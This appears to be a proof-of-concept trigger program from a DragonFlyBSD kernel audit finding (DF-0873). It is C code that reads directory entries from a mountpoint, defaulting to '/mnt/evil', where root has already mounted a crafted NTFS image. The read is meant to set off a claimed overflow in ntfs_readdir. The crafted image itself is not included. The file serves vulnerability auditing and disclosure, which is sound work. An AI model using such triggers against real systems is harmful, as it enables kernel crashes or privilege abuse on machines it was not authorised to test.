DragonFlyBSD Kernel Audit
DF-0873 / trigger.c
← back to finding ↓ download raw
/*
 * DF-0873 trigger -- mount a crafted NTFS image and readdir the root.
 *
 * Run as an UNPRILEGED user (maxx).  The image must already be vnconfig'd
 * onto a device node the user can open, OR we use mount_ntfs directly on
 * the image path (mount_ntfs opens the image).  In our lab the root admin
 * has pre-chowned the image + a /dev/vn* node to the user; mount_ntfs is
 * the privileged entry.  Here we just call getdents on the mountpoint --
 * the mount itself is done by the run.sh wrapper as root, then this binary
 * (run as maxx) does the readdir.
 *
 * The readdir hits ntfs_readdir -> convname loop overflow.
 */
#include <sys/types.h>
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

int main(int argc, char **argv)
{
    const char *mp = (argc > 1) ? argv[1] : "/mnt/evil";
    DIR *d = opendir(mp);
    if (!d) {
        fprintf(stderr, "opendir(%s): %s\n", mp, strerror(errno));
        return 2;
    }
    printf("[+] opened %s; reading dirents (ntfs_readdir convname overflow)...\n", mp);
    int n = 0;
    struct dirent *de;
    errno = 0;
    while ((de = readdir(d)) != NULL) {
        printf("  dirent[%d]: d_ino=%ju d_namlen=%u d_type=%u d_name='%s'\n",
               n, (uintmax_t)de->d_fileno, de->d_namlen, de->d_type,
               de->d_name);
        n++;
        if (n > 64) break;
    }
    int e = errno;
    closedir(d);
    if (n == 0)
        printf("[!] readdir returned 0 entries; errno=%d (%s)\n", e, strerror(e));
    else
        printf("[+] readdir returned %d entries\n", n);
    return 0;
}